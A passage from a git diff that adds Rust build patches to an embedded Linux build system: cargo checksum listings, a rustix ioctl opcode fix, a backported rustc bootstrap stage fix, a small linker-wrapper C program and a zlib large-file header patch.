961c2ce5c9f3640eea67fa395e633b64efa6e","src/maybe_polyfill/no_std/io/mod.rs":"77889bb5c5a4f2e50e38379cdaa5d0fef4b0cafc3da056735df01f6deae75747","src/maybe_polyfill/no_std/mod.rs":"ec94a4aab4bc475785e469d10fd6bc95667e1d47d958e9cff3a19049d88c8c80","src/maybe_polyfill/no_std/net/ip_addr.rs":"046327ee244f758f2bc31d3be305d8cd0dfd8342aac1add8259e999b4b46c4a7","src/maybe_polyfill/no_std/net/mod.rs":"486555be5c56cf3e049e65a1ea73aa60839c6f6ca667833e88ee4f360f9606dd","src/maybe_polyfill/no_std/net/socket_addr.rs":"bfeb32d32c176cde76323abcffebfc47e9898fb8d7ce3668c602dc8451086a2d","src/maybe_polyfill/no_std/os/fd/mod.rs":"27ef0afbcb0695cbb15101070f417eb51e0ef85ae66ec967d95e80771d507c47","src/maybe_polyfill/no_std/os/fd/owned.rs":"ab86ffa2693a04f3085770faf395f95e5303001711be8b19c44a47a0ac574091","src/maybe_polyfill/no_std/os/fd/raw.rs":"f3648c7bd4a6ff94bd823ed9e0d99d398e02f24875cf9b25962736999e7c6943","src/maybe_polyfill/no_std/os/mod.rs":"27dab639a765827644005d5f2fcc7c825310606b889cc8dd83f54c9528350dc0","src/maybe_polyfill/no_std/os/windows/io/mod.rs":"5bbcc05c83fee5026dd744a994e0458469466d5be39081baa62df07753b92fd2","src/maybe_polyfill/no_std/os/windows/io/raw.rs":"4c32609a489dd938a49328b5637cb3bafb96437f2f9f269ab66d7d3cb90247f6","src/maybe_polyfill/no_std/os/windows/io/socket.rs":"c658f42f24eff44a661f2adfd24a11af80fe9897f3e2af4dc5d2c64808308d65","src/maybe_polyfill/no_std/os/windows/mod.rs":"fdb416f8f231a4e778b5f985b9ae712ece5e1a1402963ad1a5f6a8b9843795f4","src/maybe_polyfill/std/mod.rs":"7c16c86cc73e226e65ead598e4018238b22000a345040b706bf1e1b3eba115fc","src/mm/madvise.rs":"69481cd3354dbffe6cd93b234448e59de6d0fe6440bcf8b12f951f37745bc1dc","src/mm/mmap.rs":"8cd1a8278e138d0805726474bb3016fdaa09a8074bbc8f20d1e842e7fc17efa3","src/mm/mod.rs":"b3a6cb838986d45825b912355cedead761211a494ca6f89b2367a2d2157e340e","src/mm/msync.rs":"a9092be024ecbfa9c14edb935404513498b0da2ac6c99fc31fe4e58196a95f02","src/mm/userfaultfd.rs":"8073443bd181ff0b3ba4d0b1ae67370b4864035a0c8b4898cd709dc47c518ae7","src/mount/fsopen.rs":"160e384e9175fd98669cda1cf3590bb195c2ba7e1c724e9ea06e692595e58ba1","src/mount/mod.rs":"5f0c9df4727592695deb1cd63ae1de021b03dcd9d0d1b68e1f34d12a7136cb19","src/mount/mount_unmount.rs":"8ad11675e5d762d33fbefbed06a6a9f9e52a9b689bd06662446152614321ab77","src/mount/types.rs":"601ae3e10b7dc496fed7f3b40a80e81c6edd7bf13189d7be45c3212d4c684c39","src/net/mod.rs":"a6bc55f9e086caf46a7c00783498d73a328a66f2a991f1ec65d5f13931377b0f","src/net/send_recv/mod.rs":"7b77a70c0ad2601b5da30e8b202e34c6bfc9e10df4ce2b1a35b111522ae123a3","src/net/send_recv/msg.rs":"f100a88648b9eba88272aca77d76351432636022a1d4b0e9485e002a3489d05a","src/net/socket.rs":"1296706d964d110be7cd46b61a0a06dabf382a2377907ba41badfe94807cb50f","src/net/socket_addr_any.rs":"a9af81e967a91b45e51aec4f46a068fade7035c5d19dfaf05bfdcd3b3c32e9bf","src/net/socketpair.rs":"56f4885c31d2664cd16e18a9a88792a4912fedd953cec36dba67e8581fd57921","src/net/sockopt.rs":"4f00ff76d3cd3fd2e915f51eba59827fb60885d6b0c6d37b32ca4306cb8fe836","src/net/types.rs":"35878a8ff12cd7252ed735cb640bad03e4e13c6016769c2d154c0fab08505248","src/net/wsa.rs":"6e546b42f50a851fc833c57cda76cfb347203ed4b0dea574a3d325bf5a2ebf80","src/param/auxv.rs":"8602af47a39bb340d319807bdecdb9be8b467101a9ed96061277b90234801913","src/param/init.rs":"a31c0e5cea61a1a999767fe74f87c0d59eeb6bce66578b842fe0e0c32be27a55","src/param/mod.rs":"25b10acd5b1da8faa6f5204e6b0379b38bfab667916e886cca64bea01a42dec2","src/path/arg.rs":"d87117157ec21f61a5e50b2779b4284fd13dd7db11b20a6bc9e475d0e4a25357","src/path/dec_int.rs":"8ff8e14442c46f8e7a9b80d73973619b4271549b9defd538479bf8c2d93aa72e","src/path/mod.rs":"6b1b949c94bcc47e0f08a3f8e8db5b61ff497d0dfd3e0655f51c01d3e4b7dfd6","src/pid.rs":"f1c486000c5b1311b2d720cee88f089c17ef9a171709673dd06e6f35f4ff98a3","src/pipe.rs":"cec0a831237ab2652556b149767d1b382e9739a1bb21ea401a35b36df7f7a3e7","src/prctl.rs":"19aa584895874ea48b9bbe1bf695b81257b0281df64dfdd91e1b4bfa298661b7","src/process/chdir.rs":"911216459aa429fe9f125f1357d6900b43b0007835b85c719875d00f79a74664","src/process/chroot.rs":"2b5f6124eb19f26ad2705174f7ad50cdc0a5d15abd59ffcf55421228d82130b4","src/process/exit.rs":"48de66e5504a00cb375d8f415ce63b6225a3f5204268d40726a7d0fbba43f587","src/process/id.rs":"e4733f9e8e4b5f50e98ef7a23802e126f1f14ece8b3d7ae7446c6a66affc6bc1","src/process/ioctl.rs":"23ad0285671e8d7ca71a63c50655dbf732ccea8af11d754a0558e0236db37e76","src/process/kill.rs":"96d5ce432c19cf2b600d5248c681c117abf53ae94bbfca7e75ac533a40e3968e","src/process/membarrier.rs":"1c4c39b359d1d0e9bbe16352eedfca9278d9ef298ade8ec00e998617bbcbfed8","src/process/mod.rs":"70e7fc79e4edf3ffd56c20643707cafdc595330db68e4ff8f75dcb3756ad5b1d","src/process/pidfd.rs":"39de2dc7919eeeb53a5980622616140327671cd7e36bcf597aee1749df3a5b5b","src/process/pidfd_getfd.rs":"1faace75bdbcda57a296806dcfa5487811f8d11dad9e6199c98df72feae66724","src/process/prctl.rs":"0130d05362a17a9282f3391189095e1f4f51fb56d7a5205906a0011842df4576","src/process/priority.rs":"f135482e71ea8aa0daf92b9f238051178a4c904070fa8409622f94155df3c544","src/process/procctl.rs":"430ec397782772d5a028903c2813d3e11f7e577af144b9effd9c42629ac8d3d2","src/process/rlimit.rs":"10b79de3ced0e64059a94c879742d46a35a6176c776d8eed75031d5e6340283d","src/process/sched.rs":"b49ef463f44b5e90a04e9a08569d0ae20eecb8667f38f31c786df1eb099db466","src/process/sched_yield.rs":"6565faa3928b66ddc74a65e893e15edfa4b9be4f7e5f5f68527501a7f6bc3350","src/process/umask.rs":"1a0f31a842303c978e3f05ec191e2b5e96104c09c6596473b42b1fac34898a50","src/process/wait.rs":"612920489b5618bf82a9a615947e0acbed6eb310acbb9bb70e934d457dd1dd49","src/procfs.rs":"63b286dd3302be7f426841eb3b9261ef4785c3159ed78c24734bd5094c9b0b2e","src/pty.rs":"652c412e7280d0344b3f9bfe376c106a7f1b42b898b7af344e6e72da268e2bf0","src/rand/getrandom.rs":"1c8166a02a74f5593bb4673ef907524df04cbc1568020a5ab2ff7f4aa1283f8b","src/rand/mod.rs":"cab59332aadd9b679f5b22cbb222d48ee028af5eb9fd4a4d43922da659b895d7","src/runtime.rs":"695e60b9cc22755ce0e653fd63a0c73024a14eb8f576c6071dad6806c32f5552","src/shm.rs":"b96fe8a05ee5d4536464a8843a776d43a938abaf22c772fc35b5373d95644a8d","src/signal.rs":"a294b49d487dafaa42e534f8b1d93e87bec135087676b2ba2ef865cf2fccdaf2","src/static_assertions.rs":"504cf66f0d5b8e335be02f9ae8b0a355abc98c2c82eec0098bdf0988e662e260","src/stdio.rs":"a5de2d7d9c3c5a901f88b6acf4754687c958a2f3a93c7945c2b8fcb948d468af","src/system.rs":"4d7d1eff18094ec85a8ead70a7ccbe8ef78fd7f5705b7dfe3fa52541e9494887","src/termios/ioctl.rs":"a1ac967f7811a482f8bb53847c37c8359f518cd26da9df7b816ba678a0139623","src/termios/mod.rs":"b44b7caa60b6f458657ed58a0e0eca41bb4e6d6be4b0f042bbb8ab7056cebe4b","src/termios/tc.rs":"e41312d15464b83b2457c2502fc3f3b9998cfb02ba68739026dd4285cc7130ac","src/termios/tty.rs":"35a5fc2d26501e0e6dde1a755eeccf7b4f3b4702c5bac30e0953220808ef7034","src/termios/types.rs":"38167a38fb83e84f2845f86b373ecaaa3ebf6c2f91dccd07c10539201d6f5070","src/thread/clock.rs":"f49eb7271eb3e6831d9b0c3a01bfddbe4bd69dee237bbaa059884de452b29e79","src/thread/futex.rs":"985f9a0dce1e2a4892ae7f26bd1bf119ceae3f9fa6b4707e166624fc1cee76d4","src/thread/id.rs":"ad72db4fea9fccb728310bbfd01ef8c00f6cc60fa2a750f6349646a134f7009b","src/thread/libcap.rs":"4c51b7df566d38dd0f85f81ef53279a745a39f0f4e1154791fd38438e2ca7db1","src/thread/mod.rs":"98634ece0b882f123ad887017692f2a4d94a23a1dec278ed660b3497cac5cceb","src/thread/prctl.rs":"6caec7eb4fe122e80ba1ecafc56b710c79ab8b3c97529d5beba74d87af356875","src/thread/setns.rs":"ea9142b1f3a5b3f329683be185f960c50e5c1636149e91fbf59e88a897fc607d","src/time/clock.rs":"e59a29f1bed8c31c3d5b6fad60f2d4fa6cab8dd8e86148bb3693a5e3a1ce735f","src/time/mod.rs":"43afee938c80d124d04d4ba190c03f4d21d1e3bfc154fff309211e4f6eabe940","src/time/timerfd.rs":"f17092b84553741aa2d2b44c6992b5d2c8c96cc2c2007fc9a2c6b2064485e53f","src/timespec.rs":"32a4d930cbc0f6dbd23153290db920671cf4ce65a4a127e176f897c1cde42d7d","src/ugid.rs":"6616c6e35b7e43aee5b150f1efae7a50711e0947943c9a96833dbe214ad9e85f","src/utils.rs":"9ae76f8a41d6cc350cdd58c9084b5c3a5a708eeecd769783debdbcbaef442182","src/weak.rs":"c7cf03bf2aeba494b1999ab32183fa8c603ab72e254c0e312a67f168877e410d"},"package":"2b426b0506e5d50a7d8dafcf2e81471400deb602392c7dd110815afb4eaf02a3"}
+--- a/vendor/rustix/src/fs/ioctl.rs
++++ b/vendor/rustix/src/fs/ioctl.rs
+@@ -77,7 +77,7 @@ unsafe impl ioctl::Ioctl for Ficlone<'_>
+ type Output = ();
+
+ const IS_MUTATING: bool = false;
+- const OPCODE: ioctl::Opcode = ioctl::Opcode::old(c::FICLONE as ioctl::RawOpcode);
++ const OPCODE: ioctl::Opcode = ioctl::Opcode::old(linux_raw_sys::ioctl::FICLONE as ioctl::RawOpcode);
+
+ fn as_ptr(&mut self) -> *mut c::c_void {
+ self.0.as_raw_fd() as *mut c::c_void
diff --git a/meta/recipes-devtools/rust/files/target-build-value.patch b/meta/recipes-devtools/rust/files/target-build-value.patch
new file mode 100644
index 0000000000..cf59afba5a
--- /dev/null
+++ b/meta/recipes-devtools/rust/files/target-build-value.patch
@@ -0,0 +1,26 @@
+Add correct build value for cross-compiled targets on stage1 when
+bootstapping rustc.
+
+Upstream-Status: Backport [https://github.com/rust-lang/rust/pull/119619/commits/b888e2f82b9dbe81875f50d13adbc0271a9401ff]
+
+Signed-off-by: onur-ozkan <work@onurozkan.dev>
+Signed-off-by: Yash Shinde <Yash.Shinde@windriver.com>
+---
+diff --git a/src/bootstrap/test.rs b/src/bootstrap/test.rs
+--- a/src/bootstrap/src/core/build_steps/test.rs
++++ b/src/bootstrap/src/core/build_steps/test.rs
+@@ -1489,8 +1489,12 @@
+ // NOTE: Only stage 1 is special cased because we need the rustc_private artifacts to match the
+ // running compiler in stage 2 when plugins run.
+ let stage_id = if suite == "ui-fulldeps" && compiler.stage == 1 {
+- compiler = builder.compiler(compiler.stage - 1, target);
+- format!("stage{}-{}", compiler.stage + 1, target)
++ // At stage 0 (stage - 1) we are using the beta compiler. Using `self.target` can lead finding
++ // an incorrect compiler path on cross-targets, as the stage 0 beta compiler is always equal
++ // to `build.build` in the configuration.
++ let build = builder.build.build;
++ compiler = builder.compiler(compiler.stage - 1, build);
++ format!("stage{}-{}", compiler.stage + 1, build)
+ } else {
+ format!("stage{}-{}", compiler.stage, target)
+ };
diff --git a/meta/recipes-devtools/rust/files/target-rust-ccld.c b/meta/recipes-devtools/rust/files/target-rust-ccld.c
new file mode 100644
index 0000000000..d3d491fb60
--- /dev/null
+++ b/meta/recipes-devtools/rust/files/target-rust-ccld.c
@@ -0,0 +1,19 @@
+/*
+*
+* Copyright (C) 2022 Wind River Systems
+*
+* SPDX-License-Identifier: MIT
+*
+*/
+
+#include <string.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+int main (int argc, char *argv[])
+{
+ unsetenv("LD_LIBRARY_PATH");
+ execvp("target-rust-ccld-wrapper", argv);
+
+ return 0;
+}
diff --git a/meta/recipes-devtools/rust/files/zlib-off64_t.patch b/meta/recipes-devtools/rust/files/zlib-off64_t.patch
new file mode 100644
index 0000000000..6c74da2435
--- /dev/null
+++ b/meta/recipes-devtools/rust/files/zlib-off64_t.patch
@@ -0,0 +1,36 @@
+Do not undefine _FILE_OFFSET_BITS when
+_LARGEFILE64_SOURCE is defined. This ends up
+causing 64bit time_t to fail the build because
+it needs 64 bit off_t
+
+Upstream-Status: Submitted [https://github.com/madler/zlib/pull/764]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Index: rustc-1.72.0-src/vendor/libz-sys/src/zlib/gzguts.h
+===================================================================
+--- rustc-1.72.0-src.orig/vendor/libz-sys/src/zlib/gzguts.h
++++ rustc-1.72.0-src/vendor/libz-sys/src/zlib/gzguts.h
+@@ -3,15 +3,6 @@
+ * For conditions of distribution and use, see copyright notice in zlib.h
+ */
+
+-#ifdef _LARGEFILE64_SOURCE
+-# ifndef _LARGEFILE_SOURCE
+-# define _LARGEFILE_SOURCE 1
+-# endif
+-# ifdef _FILE_OFFSET_BITS
+-# undef _FILE_OFFSET_BITS
+-# endif
+-#endif
+-
+ #ifdef HAVE_HIDDEN
+ # define ZLIB_INTERNAL __attribute__((visibility ("hidden")))
+ #else
+Index: rustc-1.72.0-src/vendor/libz-sys/.cargo-checksum.json
+===================================================================
+--- rustc-1.72.0-src.orig/vendor/libz-sys/.cargo-checksum.json
++++ rustc-1.72.0-src/vendor/libz-sys/.cargo-checksum.json
+@@ -1 +1 @@
+-{"files":{"Cargo.toml":"5fc1259b26541f617473d6b741816705c91322db9740e347a8686e3c0b30ab2e","LICENSE-APACHE":"a60eea817514531668d7e00765731449fe14d059d3249e0bc93b36de45f759f2","LICENSE-MIT":"34c467b6945a22696d060b8fdd2379d464acb3408d4c599d3dc5fe4fa1b4c84f","README-zng.md":"2f9f34e6b388a401b8d8318b64997a7521e4198c5c314f8cea11433623628515","README.md":"75701bfcd7158e924f51ece8debb6d4425ccd6ad5d2806004b5f174423f4b2af","build.rs":"b383e60f71c9b40ecc807ac58473f9b85d7036e8359796634cba2701224493a3","build_zng.rs":"b7768e19f0bf876f29eabb6ad6511f530e61d8aa92bfbe89a7cf3818e4824ce7","src/lib.rs":"7c4a3394e17e6250c1f4f2067efecc56b1850827596432ad0ce75e5eea800446","src/smoke.c":"10607c81b73811bfcb9718767312bf97ba2ccf7048ea2f18a2085aa06ad7f91b","src/zlib-ng/CMakeLists.txt":"5840d2c44e335af0f58f8a2545da60be403946b1181641b35ea7425b2e0f44db","src/zlib-ng/FAQ.zlib":"c524f4f86d336b3de71dd6977afddffa9c02fda5c26db4dfefae44959e7614a2","src/zlib-ng/INDEX.md":"989545e90d8e9ac149034f762ce78ed8976ebf9324326228dea37ca190154609","src/zlib-ng/LICENSE.md":"d3c80be055d94d798eaa786116e84fa0b010bc11420b5d2060d978ea77845436","src/zlib-ng/Makefile.in":"1f56adbf5fac7fa36c6e4c11b5f061acb971984c941154cbf0344e2b68b99e7d","src/zlib-ng/PORTING.md":"4105267b5e00f8d608f31dcf4fe2cfede15cc94568211691419e6cba3d8e539e","src/zlib-ng/README.md":"ba04244ad8eea94d834d25aa75b40e7f849844a33c68ed180c2a631378e1f211","src/zlib-ng/adler32.c":"82ffa1b4fc4b198ba8004135f79b8819d9f2b28e851c30c0ab41e6d32dfbf70d","src/zlib-ng/adler32_p.h":"f56915c59a345baf4558374447385a317e29365a4db2fbb38af4de3e1a1a0201","src/zlib-ng/arch/arm/Makefile.in":"95464884ba75a7b12c9ceda5845d8d68d5a7d7dac8a8dc24b27beb2192e5b97b","src/zlib-ng/arch/arm/adler32_neon.c":"3990b8d5570b12c2162218fe0e9bc723a03f1c89b5ed3ba70a74a98976260ee7","src/zlib-ng/arch/arm/arm.h":"855adbb02d7b9a5714a17d9dcff493610e7cd2b9a1f4e58e1c99626ab536e868","src/zlib-ng/arch/arm/armfeature.c":"4800228414695b632b9ceca14409e782d6fc3b357ba7ab00858925fc66b5532e","src/zlib-ng/arch/arm/chunkset_neon.c":"95fc7917d1d30094e15a35c56d1e9c189c5ca3758553a3467d4da793eaed656f","src/zlib-ng/arch/arm/crc32_acle.c":"e2be53267a2a59fc79c4b3bab00e8b25bf64a8fc8bf2c6684e5b1b1fd1480f9d","src/zlib-ng/arch/arm/ctzl.h":"feb70d55e66025fff806e30e48002b35cfff79533d352585cfa5f118edbc90b1","src/zlib-ng/arch/arm/insert_string_acle.c":"d1b1dae5aeada70f2b03c2cbf3112ce55a92401c2d87709081b04dcf5992e1ad","src/zlib-ng/arch/arm/slide_neon.c":"19d8cf5c742ac6b82164c7a183538ad1129f9f17e9b8bce8b40daac3820fb6c4","src/zlib-ng/arch/generic/Makefile.in":"f41a34839986eac8dd52cf91fada0efff4171c059ab5d7db6347c91bd6d9db09","src/zlib-ng/arch/power/Makefile.in":"69644d1a0ff8e7f38005c0a55cdbaf3f0d87f42abf8fc4f4136271c4fedfb846","src/zlib-ng/arch/power/adler32_power8.c":"79b75e98ad3a62facbbdd8c0b178d3f993b57f6e34d320bf47eca33aa8c330a1","src/zlib-ng/arch/power/power.c":"0647afb3b3b7ce2a19b4815ec8fdeee0b37c759413e5ef0a668a2dba22d94803","src/zlib-ng/arch/power/power.h":"f3f15f94fed98a2f7dd5d4568c5172e597228be4141d6895062703c3f70024da","src/zlib-ng/arch/power/slide_hash_power8.c":"932ea533d25e2f5478afe0c47830e7ef24276cad0d75fd91f2d8c799bd4b5d36","src/zlib-ng/arch/s390/Makefile.in":"eef6c3169723f089b0b5f852423ec55bf0364caeddd7cda991f2e76bc1682107","src/zlib-ng/arch/s390/README.md":"730b9a0230609988fbd1bdd52a7abdaa1fa5c65253ac78163dd4a5eccb966abc","src/zlib-ng/arch/s390/dfltcc_common.c":"3d460448ad4c5b687da6b7c0ad8498ece92b771dc7ddd0189e096acca5a1cad4","src/zlib-ng/arch/s390/dfltcc_common.h":"de8902d3863c8a7a3f6ea27dec2ee5a4f17ef5d8646e48a586d0b29fe94c9a0b","src/zlib-ng/arch/s390/dfltcc_deflate.c":"d6941d3c5ada225ec39b98b35bce1d203aa1f2d994a47c8487d377d9ef2f6efc","src/zlib-ng/arch/s390/dfltcc_deflate.h":"5c90a812e2a2f2b842dba027e5640791e52206e74b8423cb78e0b8ea12ed29ad","src/zlib-ng/arch/s390/dfltcc_detail.h":"fe66cd700a1d017eba86c2c6e95f53e9a4d1cb491de9cb3963b2a2907098baa9","src/zlib-ng/arch/s390/dfltcc_inflate.c":"83643b5605cdc2d1d7780e1bdeb007f9dc6a1cca633157abbfb5d3232f2b8816","src/zlib-ng/arch/s390/dfltcc_inflate.h":"d7a4a5ae79abd1a5456521926b918becfe86c253a4fc23723fbc09f7c3303128","src/zlib-ng/arch/s390/self-hosted-builder/actions-runner.Dockerfile":"999c962c49508ebf61414e6f9ffea059926ac500d4c6d707ea1f9e77402f7374","src/zlib-ng/arch/s390/self-hosted-builder/actions-runner.service":"33a359eb58d76152f916b40ee1357f7edfda75e8dfb55a5b12ac83bcd6ed7055","src/zlib-ng/arch/s390/self-hosted-builder/fs/usr/bin/actions-runner":"f647e18728ea15fe927ac9f8cba83a5b343654a0e91b5ebe653bae7af7375110","src/zlib-ng/arch/s390/self-hosted-builder/fs/usr/bin/entrypoint":"add4ebdc4f06ed15bb1de12a8c9ceb370a60baebb0932a1026a75433940ad3df","src/zlib-ng/arch/s390/self-hosted-builder/qemu-user-static.service":"54551049f6181da88700a2a944a72b0af3b8abde876fa28e1348deb5eb96c91b","src/zlib-ng/arch/x86/INDEX.md":"c12f9bf0d66743a6472fb756bf46def8eea1dd235be7fca994dcb22f693a3524","src/zlib-ng/arch/x86/Makefile.in":"9f6fe7567a99e81aaa3bef8ccfa1ad40f524efc285cf8dfe0f497a1530f8016c","src/zlib-ng/arch/x86/adler32_avx.c":"99056732c7bd5d53dc108f282811a40bf21570926781af5dc7b17cb9218963de","src/zlib-ng/arch/x86/adler32_ssse3.c":"883a5520b4481225d097c90c5359106a3c8eb7b921499c94276e999b7c39adc5","src/zlib-ng/arch/x86/chunkset_avx.c":"13c83149146c408ffdc9358bcb5355259f6196e6cc6fe025b7ea3647e313cd0a","src/zlib-ng/arch/x86/chunkset_sse.c":"f14d0557634b53af8cd6e2a1ce9d57df50244a72e85ff3b100b5ca287d1cfa8a","src/zlib-ng/arch/x86/compare258_avx.c":"8b2838d168de4608327f25fe52d53763a82413ee911d87947d3fcd72c7f9bf26","src/zlib-ng/arch/x86/compare258_sse.c":"b5049722ffd4a43a96868eeba5e000271cfc5fcbf3c2657026ead15b1df28a10","src/zlib-ng/arch/x86/crc_folding.c":"defb5a7067562612651f693c910db53cf228b7cd7fef11991504767a7d84f224","src/zlib-ng/arch/x86/crc_folding.h":"939212546611917e9e066e8ed30cdda95680ec1f5fe0890cc4865b4e6d7fc215","src/zlib-ng/arch/x86/insert_string_sse.c":"9e84a75b6a565422eb105261b6729d2a02b89133bd14372c949d5381b5deed3e","src/zlib-ng/arch/x86/slide_avx.c":"5e448e439ac24e7cb10eee176ca37f2c63f73c135c0a2af040e232bad490997d","src/zlib-ng/arch/x86/slide_sse.c":"1946cabb634c905fddef0a22b2fad19dfd99110169567c3beceef71145b2e316","src/zlib-ng/arch/x86/x86.c":"1af56e27b2e951e1ad1344e62c2f7a8c49a776fcdd1cb0f4ea9d6152118a479e","src/zlib-ng/arch/x86/x86.h":"4d2d20ea0087089141e250e77bb3d419954b9092810028b151581b9115a5fe8c","src/zlib-ng/chunkset.c":"cbf26582fff56726cc28bee05ff0a1680c50308b8dd9bb8cfb57d7f0a587d0bd","src/zlib-ng/chunkset_tpl.h":"eaaf0804f6162ab26b2b6de263a478ffb111559e653372e96e400acba9c63563","src/zlib-ng/cmake/detect-arch.c":"e0da3d16195eefb54bef77163db737a66453f25ae16648aa8f6beeac70787662","src/zlib-ng/cmake/detect-arch.cmake":"27fa8da497b39ac70d881e2d345749611dae4c30f7b7a9c9e32f2c042672189a","src/zlib-ng/cmake/detect-coverage.cmake":"e4e372991ba80a16ad47df2716708a56013cc628aa7ed01573a2360c60610125","src/zlib-ng/cmake/detect-install-dirs.cmake":"87031a40428a104f5cf38ecdb8a5028d8c679cfa772a58adde8380c809b34eff","src/zlib-ng/cmake/detect-sanitizer.cmake":"a8f7a4515278532b251b567d82ed576fe1ca7e698992ed92d1beb8e8dd22237f","src/zlib-ng/cmake/run-and-compare.cmake":"13d85c12c9d6c7b1b148bd0c5a5b4faa6a4b56f3823bf03c4f8d914c9c5949d8","src/zlib-ng/cmake/run-and-redirect.cmake":"7f08d18c09aa58113882ec760735a62a1723a5bfcae9f73bd3713a4dbaeab898","src/zlib-ng/cmake/test-compress.cmake":"0d2d1595859ccfb6795bb98700a4f7c1652b025cc344a1291524601087957888","src/zlib-ng/cmake/test-tools.cmake":"63aabfffd53970b8e145870b2a1c03bffa3595f7df04bd86f94e97b6f2a387e7","src/zlib-ng/cmake/toolchain-aarch64.cmake":"46be0bf580a49a528c72005484655afad1de3705b39a66a7b0c213b0fa81cee6","src/zlib-ng/cmake/toolchain-arm.cmake":"05e38076fd6ffb9785ff9844ccecd26436c9dc4c25b7777b62e5f52e788c3882","src/zlib-ng/cmake/toolchain-armhf.cmake":"1a2029163a57415eec9a5dd5f45d3254d349e97b1beb5d16876b741717673341","src/zlib-ng/cmake/toolchain-mingw-i686.cmake":"df9000354b820d3713d1469edc9f94cd095389b0cca83965730b8e64857fdf3f","src/zlib-ng/cmake/toolchain-mingw-x86_64.cmake":"ee316e6e3202919da5d497f9e246466fd715fcf079cb5b4afc4774089d1fefad","src/zlib-ng/cmake/toolchain-powerpc.cmake":"9bd6fc58ce5b70603657f2c195c4a5cf52fae96ad63ac787978831c5858f762c","src/zlib-ng/cmake/toolchain-powerpc64.cmake":"917fc5eef84921d8b38f43c2b4f60870965b4eecc8f018c7b3499e1142c715af","src/zlib-ng/cmake/toolchain-powerpc64le.cmake":"5b2edd36d62de513db2d32bfbf779979d81ac527b981cc3379a4e933fc5a94d1","src/zlib-ng/cmake/toolchain-s390x.cmake":"cf52cecea7bd2a9d1ff5fd8edcb03c531e3b404bbcd15a15dec2e0e19936f2ac","src/zlib-ng/cmake/toolchain-sparc64.cmake":"e543062485d06a7e0fec8135887c5e73363517fa4babc23ef7b780916d75afda","src/zlib-ng/compare258.c":"56bfd48d5ff9ca422fbb728df7a373436c73796561dff118c7d4039fe70d29e2","src/zlib-ng/compress.c":"41df6eb62d6fb1334ecfe0a0c3e50a7ee89528719857f2b8297cbc512149759c","src/zlib-ng/configure":"160f69a1e51c49f6454ece92e4c5e08675ca5d90cf22b8f79cbe54c4381d93c2","src/zlib-ng/crc32.c":"98440be8a99381151a2d740f2e2228e8c1b23b9193c3642c52a4e34799506336","src/zlib-ng/crc32_comb.c":"11a36a6088fb520a58e0304fc99cf12fc8437519e8a70fe74dad58f00af696ec","src/zlib-ng/crc32_comb_tbl.h":"d6615d209d6c7d5248c6f7fe4e5dbded13c0eb87997b37693032c2902927407d","src/zlib-ng/crc32_p.h":"1fa91375a18e090c0a0dfda39de3df36346a0b1be36c808be6b6c29c32eba922","src/zlib-ng/crc32_tbl.h":"d629378ba38ff5775095b64e277bcd41c4b89fab9b5647a9fb29e15da0db0161","src/zlib-ng/deflate.c":"6fb8979ee8bc43f6e12a649708c7eb50e60bb9bdc2e55c45ce3b15aefe779179","src/zlib-ng/deflate.h":"7b3c649965c54446097d6157dd31d3685aa7df1082e9aa64cb3cdf6ac2c4d023","src/zlib-ng/deflate_fast.c":"d51e1368fc997673c64b5ab9a620439df25f313f8274529d974c5f80b89702b8","src/zlib-ng/deflate_medium.c":"1c3d95cbac76052d39595ea750c5536541c18302b9abb398c27b58955318bba8","src/zlib-ng/deflate_p.h":"2e739301e8c53038c2a958c8c8693584cd8dae464ffef05a22db6d6fa9985676","src/zlib-ng/deflate_quick.c":"280905a191d2b2a7274f2453ac537e01a0fb6e7540a0b212c1514bfb8c9415ea","src/zlib-ng/deflate_slow.c":"a2c66723e1e71ffd6ff856407459ab311a4c6546ecf50285081fc7afcd0ccd2e","src/zlib-ng/doc/algorithm.txt":"0d21a0a4c47e512743389628d1385a831a5e5ff716491095a382b923287f4223","src/zlib-ng/doc/rfc1950.txt":"8f0475a5c984657bf26277f73df9456c9b97f175084f0c1748f1eb1f0b9b10b9","src/zlib-ng/doc/rfc1951.txt":"5ebf4b5b7fe1c3a0c0ab9aa3ac8c0f3853a7dc484905e76e03b0b0f301350009","src/zlib-ng/doc/rfc1952.txt":"f7c810fd9d719d002d605207a9b880600f71d039b9626c5b4b03f2122438dd2d","src/zlib-ng/doc/txtvsbin.txt":"47c273bb22c9773248d380549a330e5c262266b1292154b0d3014f731cc73f47","src/zlib-ng/fallback_builtins.h":"1d2c2da88009a58f240bac33f562fe5a0a39c1e773813a2d75b45283ff1396cd","src/zlib-ng/functable.c":"d9db6530035a06f95982ff3d7680a84f4b54b8425874ccbe2ab10b906bd5708a","src/zlib-ng/functable.h":"e5a2d0c10411d23f04295bcb9ddb9889388974b723caef65aa5c4ea4739f4aa7","src/zlib-ng/gzguts.h":"7b69b2f35264169bc794d0d5c00247d93c203f751d226302966c33b524ed9fb0","src/zlib-ng/gzlib.c":"7e6ad5d9d32e6429d56a5303e2c6e6870d69c023d6647a52fb95902828de4011","src/zlib-ng/gzread.c":"d5d47d24dc463b978fe828320dab140494803fd86b511300f903c7c2eabd4d25","src/zlib-ng/gzwrite.c":"1685ad2c88239b3434cd2c4a9d66b67842310b2d1dfd01aec0fc293eef20e858","src/zlib-ng/infback.c":"4decaa412219fc8adb935754c54a4dedf3952aaf67107a12512451c65eadee23","src/zlib-ng/inffast.c":"a134d4aa6a46eebe975ca0cd5ef18894fc852b6a840be21ca7243ddbe6c9d8f9","src/zlib-ng/inffast.h":"42e74a92b496ab0726be317e8497a12bf3c3cf3d0d533440ce65befd3929c71c","src/zlib-ng/inffixed_tbl.h":"a94225335396245e9f0ccb2e9b4b334fe7ee0111ed8e32a26bcd52187f364314","src/zlib-ng/inflate.c":"f33e2e7eeaa4b33ba6a2c327f8c9939e6b847afbdad349da65c97bf81c6083b5","src/zlib-ng/inflate.h":"eb25527d1bdedaa45167926dce4c39d9aaa3147b0f4a95f38f5916528c30a09b","src/zlib-ng/inflate_p.h":"4a94c51194da119770cf662ef289994f0c78d95184d54d6ae5d50a393e8f5a62","src/zlib-ng/inftrees.c":"7a777f5ff02ce60fbad6cb843ceadd7b3a8a8a0476ae010c87a0377c2e88f780","src/zlib-ng/inftrees.h":"fa80eb11c2290b345470a03cb861843e2cb1365135233ea8243e9fd79d3618a1","src/zlib-ng/insert_string.c":"aa22ba53a1e75821499809277f9ca0e5ef92b07a618136dd11ae1734e233b7c9","src/zlib-ng/insert_string_tpl.h":"1ceba9903324d10aad6e1d83653c4d534a5b06fd09076414a06215482be00bac","src/zlib-ng/match_tpl.h":"eea